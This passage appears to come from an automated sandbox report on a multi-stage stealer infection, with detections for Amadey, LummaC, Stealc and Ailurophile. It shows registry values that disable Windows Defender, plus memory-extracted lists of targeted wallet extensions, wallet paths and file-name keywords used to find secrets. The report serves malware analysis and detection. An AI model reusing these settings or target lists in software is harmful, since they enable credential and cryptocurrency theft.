Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Security\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Security.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.Management.Infrastructure.Native\v4.0_1.0.0.0__31bf3856ad364e35\Microsoft.Management.Infrastructure.Native.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1865.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.Commands.Management\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.Commands.Management.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0013~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0314~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.KeyDistributionService.Cmdlets\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.KeyDistributionService.Cmdlets.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.KeyDistributionService.Cmdlets\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.KeyDistributionService.Cmdlets.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.KeyDistributionService.Cmdlets\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.KeyDistributionService.Cmdlets.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Security\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Security.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1007252001\d84bd44db0.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm VolumeInformation
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\svchost.exe	Queries volume information: unknown VolumeInformation
Source: C:\Windows\System32\svchost.exe	Queries volume information: unknown VolumeInformation
Source: C:\Windows\System32\svchost.exe	Queries volume information: unknown VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1007256001\9774c44c62.exe	Queries volume information: C:\Windows\System32\drivers\etc\hosts VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1007256001\9774c44c62.exe	Queries volume information: unknown VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1007256001\9774c44c62.exe	Queries volume information: unknown VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1007256001\9774c44c62.exe	Queries volume information: unknown VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1007256001\9774c44c62.exe	Queries volume information: unknown VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1007256001\9774c44c62.exe	Queries volume information: unknown VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1007256001\9774c44c62.exe	Queries volume information: unknown VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1007256001\9774c44c62.exe	Queries volume information: unknown VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1007253001\4dfaa8fc03.exe	Queries volume information: C:\ VolumeInformation

Source: C:\Users\user\AppData\Local\Temp\1007251001\Potwierdzenie.exe

Code function: 10_2_0040B53B GetSystemTimeAsFileTime,GetCurrentThreadId,GetCurrentProcessId,QueryPerformanceCounter,

10_2_0040B53B

Source: C:\Users\user\AppData\Local\Temp\1007251001\Potwierdzenie.exe

10_2_0BC69FB0

Source: C:\Users\user\AppData\Local\Temp\1007252001\d84bd44db0.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Lowering of HIPS / PFW / Operating System Security Settings

Disable Windows Defender notifications (registry)

Source: C:\Users\user\AppData\Local\Temp\1007255001\7cda1b2e6f.exe

Registry key value created / modified: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender Security Center\Notifications DisableNotifications 1

Disable Windows Defender real time protection (registry)

Source: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection	Registry value created: DisableIOAVProtection 1
Source: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection	Registry value created: DisableRealtimeMonitoring 1
Source: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender Security Center\Notifications	Registry value created: DisableNotifications 1

Disables Windows Defender Tamper protection

Source: C:\Users\user\AppData\Local\Temp\1007255001\7cda1b2e6f.exe

Registry value created: TamperProtection 0

Modifies windows update settings

Source: C:\Users\user\AppData\Local\Temp\1007255001\7cda1b2e6f.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU AUOptions
Source: C:\Users\user\AppData\Local\Temp\1007255001\7cda1b2e6f.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU AutoInstallMinorUpdates
Source: C:\Users\user\AppData\Local\Temp\1007255001\7cda1b2e6f.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate DoNotConnectToWindowsUpdateInternetLocations

Source: Potwierdzenie.exe, 0000000A.00000003.2856294797.000000000EA71000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: OllyDbg.exe
Source: Potwierdzenie.exe, 0000000A.00000003.2856294797.000000000EA71000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: Wireshark.exe
Source: d84bd44db0.exe, 0000000D.00000003.2713116479.0000000001598000.00000004.00000020.00020000.00000000.sdmp, d84bd44db0.exe, 0000000D.00000003.2713192182.000000000158D000.00000004.00000020.00020000.00000000.sdmp, d84bd44db0.exe, 0000000D.00000003.2905951876.000000000158D000.00000004.00000020.00020000.00000000.sdmp, d84bd44db0.exe, 0000000D.00000003.2775487080.000000000158D000.00000004.00000020.00020000.00000000.sdmp, d84bd44db0.exe, 0000000D.00000003.2775362419.0000000001598000.00000004.00000020.00020000.00000000.sdmp, d84bd44db0.exe, 0000000D.00000003.2712247447.0000000001595000.00000004.00000020.00020000.00000000.sdmp, d84bd44db0.exe, 0000000D.00000003.2713192182.0000000001595000.00000004.00000020.00020000.00000000.sdmp, d84bd44db0.exe, 0000000D.00000003.2726413483.000000000158D000.00000004.00000020.00020000.00000000.sdmp, d84bd44db0.exe, 0000000D.00000003.2726413483.0000000001598000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: %ProgramFiles%\Windows Defender\MsMpeng.exe

Source: C:\Users\user\AppData\Local\Temp\1007252001\d84bd44db0.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM AntiVirusProduct
Source: C:\Users\user\AppData\Local\Temp\1007252001\d84bd44db0.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM AntiVirusProduct

Stealing of Sensitive Information

Yara detected Ailurophile Stealer

Source: Yara match	File source: 0000000A.00000003.2828850245.000000000FBC1000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000003.2856294797.000000000EAA8000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000003.2856294797.000000000EA71000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000003.2828850245.000000000FBFB000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: Potwierdzenie.exe PID: 7572, type: MEMORYSTR

Yara detected Amadeys stealer DLL

Source: Yara match	File source: 1.2.skotes.exe.630000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.file.exe.4d0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.2.skotes.exe.630000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000002.1745890738.00000000004D1000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000003.1727594316.0000000004F00000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.1703908483.0000000004A60000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.1769295516.0000000000631000.00000040.00000001.01000000.00000007.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000003.1727866482.0000000004820000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000002.1767868110.0000000000631000.00000040.00000001.01000000.00000007.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000003.2312022895.0000000004E40000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY

Yara detected LummaC Stealer

Source: Yara match	File source: Process Memory Space: d84bd44db0.exe PID: 4412, type: MEMORYSTR
Source: Yara match	File source: sslproxydump.pcap, type: PCAP

Yara detected Stealc

Source: Yara match	File source: 00000031.00000003.2844747377.0000000004C40000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000014.00000003.2654277078.0000000004EC0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: 4dfaa8fc03.exe PID: 1228, type: MEMORYSTR

Found many strings related to Crypto-Wallets (likely being stolen)

Source: d84bd44db0.exe	String found in binary or memory: Wallets/Electrum-LTC
Source: d84bd44db0.exe	String found in binary or memory: Wallets/ElectronCash
Source: Potwierdzenie.exe, 0000000A.00000003.2828850245.000000000FBC1000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: "JaxxxLiberty" => '\\Local Extension Settings\\cjelfplplebdjjenllpjcblmjkfcffne',
Source: d84bd44db0.exe	String found in binary or memory: window-state.json
Source: d84bd44db0.exe, 0000000D.00000003.2631428706.0000000001572000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: :"Keplr"},{"en":"fhmfendgdocmcbmfikdcogofphimnkno","ez":"Sollet"},{"en":"cnmamaachppnkjgnildpdmkaakejnhae","ez":"Auro"},{"en":"jojhfeoedkpkglbfimdfabpdfjaoolaf","ez":"Polymesh"},{"en":"flpiciilemghbmfalicajoolhkkenfe","ez":"ICONex"},{"en":"nknhiehlklippafakaeklbeglecifhad","ez":"Nabox"},{"en":"hcflpincpppdclinealmandijcmnkbgn","ez":"KHC"},{"en":"ookjlbkiijinhpmnjffcofjonbfbgaoc","ez":"Temple"},{"en":"mnfifefkajgofkcjkemidiaecocnkjeh","ez":"TezBox"},{"en":"lodccjjbdhfakaekdiahmedfbieldgik","ez":"DAppPlay"},{"en":"ijmpgkjfkbfhoebgogflfebnmejmfbm","ez":"BitClip"},{"en":"lkcjlnjfpbikmcmbachjpdbijejflpcm","ez":"Steem Keychain"},{"en":"onofpnbbkehpmmoabgpcpmigafmmnjh","ez":"Nash Extension"},{"en":"bcopgchhojmggmffilplmbdicgaihlkp","ez":"Hycon Lite Client"},{"en":"klnaejjgbibmhlephnhpmaofohgkpgkd","ez":"ZilPay"},{"en":"aeachknmefphepccionboohckonoeemg","ez":"Coin98"},{"en":"bhghoamapcdpbohphigoooaddinpkbai","ez":"Authenticator","ses":true},{"en":"dkdedlpgdmmkkfjabffeganieamfklkm","ez":"Cyano"},{"en":"nlgbhdfgdhgbiamfdfmbikcdghidoadd","ez":"Byone"},{"en":"infeboajgfhgbjpjbeppbkgnabfdkdaf","ez":"OneKey"},{"en":"cihmoadaighcejopammfbmddcmdekcje","ez":"Leaf"},{"en":"bhhhlbepdkbapadjdnnojkbgioiodbic","ez":"Solflare"},{"en":"mkpegjkblkkefacfnmkajcjmabijhclg","ez":"Magic Eden"},{"en":"aflkmfhebedbjioipglgcbcmnbpgliof","ez":"Backpack"},{"en":"gaedmjdfmmahhbjefcbgaolhhanlaolb","ez":"Authy"},{"en":"oeljdldpnmdbchonielidgobddfffla","ez":"EOS Authenticator","ses":true},{"en":"ilgcnhelpchnceeipipijaljkblbcob","ez":"GAuth Authenticator","ses":true},{"en":"imloifkgjagghnncjkhggdhalmcnfklk","ez":"Trezor Password Manager"},{"en":"bfnaelmomeimhlpmgjnjophhpkkoljpa","ez":"Phantom"},{"en":"ppbibelpcjmhbdihakflkdcoccbgbkpo","ez":"UniSat"},{"en":"cpojfbodiccabbabgimdeohkkpjfpbnf","ez":"Rainbow"},{"en":"jiidiaalihmmhddjgbnbgdfflelocpak","ez":"Bitget Wallet"}],"mx":[{"en":"webextension@metamask.io","ez":"MetaMask","et":"\"params\":{\"iterations\":600000}"}],"c":[{"t":0,"p":"%appdata%\\Ethereum","m":["keystore"],"z":"Wallets/Ethereum","d":1,"fs":20971520},{"t":0,"p":"%appdata%\\Exodus\\exodus.wallet","m":[""],"z":"Wallets/Exodus","d":2,"fs":20971520},{"t":0,"p":"%appdata%\\Ledger Live","m":[""],"z":"Wallets/Ledger Live","d":2,"fs":20971520},{"t":0,"p":"%appdata%\\atomic\\Local Storage\\leveldb","m":[""],"z":"Wallets/Atomic","d":2,"fs":20971520},{"t":0,"p":"%localappdata%\\Coinomi\\Coinomi\\wallets","m":[""],"z":"Wallets/Coinomi","d":2,"fs":20971520},{"t":0,"p":"%appdata%\\Authy Desktop\\Local Storage\\leveldb","m":[""],"z":"Wallets/Authy Desktop","d":2,"fs":20971520},{"t":0,"p":"%appdata%\\Bitcoin\\wallets","m":[""],"z":"Wallets/Bitcoin core","d":2,"fs":20971520},{"t":0,"p":"%appdata%\\Binance","m":["app-store.json",".finger-print.fp","simple-storage.json","window-state.json"],"z":"Wallets/Binance","d":1,"fs":20971520},{"t":0,"p":"%appdata%\\com.liberty.jaxx\\IndexedDB","m":["*"],"z":"Wallets/JAXX New Version","d":2,"fs":20971520},{"t":0,"p":"%appdata%\\Electrum\\wallets",
Source: Potwierdzenie.exe, 0000000A.00000003.2828850245.000000000FBC1000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: $files = ["secret", "password", "account", "tax", "key", "wallet", "gang", "default", "backup", "passw", "mdp", "motdepasse", "acc", "mot_de_passe", "login", "secret", "bot", "atomic", "account", "acount", "paypal", "banque", "bot", "metamask", "wallet", "crypto", "exodus", "discord", "2fa", "code", "memo", "compte", "token", "backup", "secret", "seed", "mnemonic", "memoric", "private", "key", "passphrase", "pass", "phrase", "steal", "bank", "info", "casino", "prv", "priv
Source: d84bd44db0.exe	String found in binary or memory: %appdata%\Ethereum
Source: d84bd44db0.exe	String found in binary or memory: %localappdata%\Coinomi\Coinomi\wallets
Source: d84bd44db0.exe	String found in binary or memory: keystore

Tries to harvest and steal Bitcoin Wallet information

Source: C:\Users\user\AppData\Local\Temp\1007253001\4dfaa8fc03.exe

Key opened: HKEY_CURRENT_USER\SOFTWARE\monero-project\monero-core

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Users\user\AppData\Local\Temp\1007252001\d84bd44db0.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History
Source: C:\Users\user\AppData\Local\Temp\1007252001\d84bd44db0.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dngmlblcodfobpdpecaadgfbcggfjfnm
Source: C:\Users\user\AppData\Local\Temp\1007252001\d84bd44db0.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ffnbelfdoeiohenkjibnmadjiehjhajb
Source: C:\Users\user\AppData\Local\Temp\1007252001\d84bd44db0.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hpglfhgfnhbgpjdenjgmdgoeiappafln
Source: C:\Users\user\AppData\Local\Temp\1007252001\d84bd44db0.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data
Source: C:\Users\user\AppData\Local\Temp\1007252001\d84bd44db0.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data
Source: C:\Users\user\AppData\Local\Temp\1007252001\d84bd44db0.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nlbmnnijcnlegkjjpcfjclmcfggfefdm
Source: C:\Users\user\AppData\Local\Temp\1007252001\d84bd44db0.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lgmpcpglpngdoalbgeoldeajfclnhafa
Source: C:\Users\user\AppData\Local\Temp\1007252001\d84bd44db0.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\prefs.js
Source: C:\Users\user\AppData\Local\Temp\1007252001\d84bd44db0.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lpfcbjknijpeeillifnkikgncikgfhdo
Source: C:\Users\user\AppData\Local\Temp\1007252001\d84bd44db0.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\idnnbdplmphpflfnlkomgpfbpcgelopg
Source: C:\Users\user\AppData\Local\Temp\1007252001\d84bd44db0.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aeblfdkhhhdcdjpifhhbdiojplfjncoa
Source: C:\Users\user\AppData\Local\Temp\1007252001\d84bd44db0.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\egjidjbpglichdcondbcbdnbeeppgdph
Source: C:\Users\user\AppData\Local\Temp\1007252001\d84bd44db0.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fijngjgcjhjmmpcmkeiomlglpeiijkld
Source: C:\Users\user\AppData\Local\Temp\1007252001\d84bd44db0.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jojhfeoedkpkglbfimdfabpdfjaoolaf
Source: C:\Users\user\AppData\Local\Temp\1007251001\Potwierdzenie.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\webdata.db	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007252001\d84bd44db0.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\oeljdldpnmdbchonielidgobddfffla
Source: C:\Users\user\AppData\Local\Temp\1007252001\d84bd44db0.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jbdaocneiiinmjbjlgalhcelgbejmnid
Source: C:\Users\user\AppData\Local\Temp\1007252001\d84bd44db0.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ejjladinnckdgjemekebdpeokbikhfci
Source: C:\Users\user\AppData\Local\Temp\1007252001\d84bd44db0.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mnfifefkajgofkcjkemidiaecocnkjeh
Source: C:\Users\user\AppData\Local\Temp\1007252001\d84bd44db0.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aeachknmefphepccionboohckonoeemg
Source: C:\Users\user\AppData\Local\Temp\1007252001\d84bd44db0.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cnmamaachppnkjgnildpdmkaakejnhae
Source: C:\Users\user\AppData\Local\Temp\1007252001\d84bd44db0.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\key4.db
Source: C:\Users\user\AppData\Local\Temp\1007252001\d84bd44db0.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aflkmfhebedbjioipglgcbcmnbpgliof
Source: C:\Users\user\AppData\Local\Temp\1007252001\d84bd44db0.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fnjhmkhhmkbjkkabndcnnogagogbneec
Source: C:\Users\user\AppData\Local\Temp\1007252001\d84bd44db0.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cnncmdhjacpkmjmkcafchppbnpnhdmon
Source: C:\Users\user\AppData\Local\Temp\1007252001\d84bd44db0.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ejbalbakoplchlghecdalmeeeajnimhm
Source: C:\Users\user\AppData\Local\Temp\1007252001\d84bd44db0.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lkcjlnjfpbikmcmbachjpdbijejflpcm
Source: C:\Users\user\AppData\Local\Temp\1007252001\d84bd44db0.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\ilgcnhelpchnceeipipijaljkblbcob
Source: C:\Users\user\AppData\Local\Temp\1007252001\d84bd44db0.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\onofpnbbkehpmmoabgpcpmigafmmnjh
Source: C:\Users\user\AppData\Local\Temp\1007252001\d84bd44db0.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\afbcbjpbpfadlkmhmclhkeeodmamcflc
Source: C:\Users\user\AppData\Local\Temp\1007252001\d84bd44db0.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mmmjbcfofconkannjonfmjjajpllddbg
